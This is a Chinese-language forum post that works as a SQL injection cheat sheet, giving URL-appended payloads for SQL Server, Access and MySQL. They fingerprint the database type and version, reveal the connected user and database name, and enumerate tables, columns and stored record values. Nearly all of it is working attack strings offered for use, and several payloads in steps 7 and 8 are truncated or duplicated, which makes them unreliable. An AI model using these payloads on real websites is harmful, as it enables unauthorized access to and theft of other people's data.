数据库平台注入语句构造
、 判断数据库的类型SQL Server:[url]http://www.xx.com/showdetail.asp?id=49[/url] and (select count(*) from sysobjects)>0
ACCESS:[url]http://www.xx.com/showdetail.asp?id=49[/url] and (select count(*) from msysobjects)>0
MY SQL:根据系统平台判断
说明:SQLServer 中存在sysobjects表,而ACCESS中存在msysobjects表,但是没有权限访问该表。
2、判断数据库的版本
SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and 1=(select @@VERSION)
ACCESS:[url]http://www.xx.com/showdetail.asp?id=49[/url] and 1=(select @@VERSION)
SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and 1= convert(int,@@version)
ACCESS:[url]http://www.xx.com/showdetail.asp?id=49[/url] and 1= convert(int,@@version)
MYSQL:[url]http://www.xx.com/showdetail.php?id=49[/url] and 1<>1 union select 1,2, version(),4,5
说明:@@VERSION 变量返回SQL SERVER数据库的版本;version()函数返回MYSQL数据库的版本
3、判断链接数据库的用户类型和名称
MSSQL::[url]http://www.xx.com/showdetail.asp?id=49[/url] and user>0
MY SQL:[url]http://www.xx.com/showdetail.php?id=49[/url] and 1<>1 union select 1,2,user(),4,5
说明:user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar
User() 函数返回链接MYSQL数据库的用户名
4、 判断当前的数据库名
SQLSERVER:HTTP://http://www.xx.com/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0
SQLSERVER:HTTP://http://www.xx.com/abc.asp?p=YY and 0<>db_name()
ACCESS:
MYSQL:[url]http://www.xx.com/showdetail.php?id=49[/url] and 1<>1 union select 1,2,database(),4,5
说明:SQLSERVER 中有sysdatabases表,存放所有数据库,dbid从7开始是用户自己的数据库,使用这个方法可以得到服务器上所有的数据库名称。 db_name()函数返回SQL SERVER的数据库名。database()函数返回MYSQL数据库的数据库名
5、 判断表名称
SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and 0<>(select count(*) from 表名)
SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and (select top 1 from 数据库名.dbo.sysobjects where xtype=’U’ and status>0)>0
ACCESS:[url]http://www.xx.com/showdetail.asp?id=49[/url] and 0<>(select count(*) from 表名)
MYSQL:[url]http://www.xx.com/showdetail.php?id=49[/url] and and 0<>(select count(*) from 表名)
6、 判断字段名
SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and 0<>(select count(字段名) from 表名)
SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] and (Select Top 1 name From (Select Top 12 [name] From [syscolumns] where (id = (SELECT TOP 1 id FROM [sysobjects] WHERE name ='表名称')) Order by [name]) T Order by [name] desc)>0
ACCESS:[url]http://www.xx.com/showdetail.asp?id=49[/url] and 0<>(select count(字段名) from 表名)
MYSQL :[url]http://www.xx.com/showdetail.php?id=49[/url] and 0<>(select count(字段名) from 表名)
7、 判断字段记录长度
SQL SERVER :[url]http://www.xx.com/showdetail.asp?id=49[/url] 字段名) from 表名)>0
ACCESS :[url]http://www.xx.com/showdetail.asp?id=49[/url] 字段名) from 表名)>0
MYSQL: [url]http://www.xx.com/showdetail.php?id=49[/url] 字段名) from 表名 order by 字段名 limit N,1)
说明:MYSQL中没有top 命令,可以使用limit,N表示判断第N条记录
8、判断字段记录值
MYSQL :[url]http://www.xx.com/showdetail.php?id=49[/url] and 1<>1 union select 1,2,3,(select 字段名 from 表名 order by 字段名limit N,1)
SQL SERVER(判断ascii值) :[url]http://www.xx.com/showdetail.asp?id=49[/url] and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
ACCESS(判断ascii值):[url]http://www.xx.com/showdetail.asp?id=49[/url] 字段名,1,1)) from 数据库名)>0
说明:SQL SERVER 和ACCESS可以通过判断ascii值来判断记录,MYSQL可直接显示记录。
页:
[1]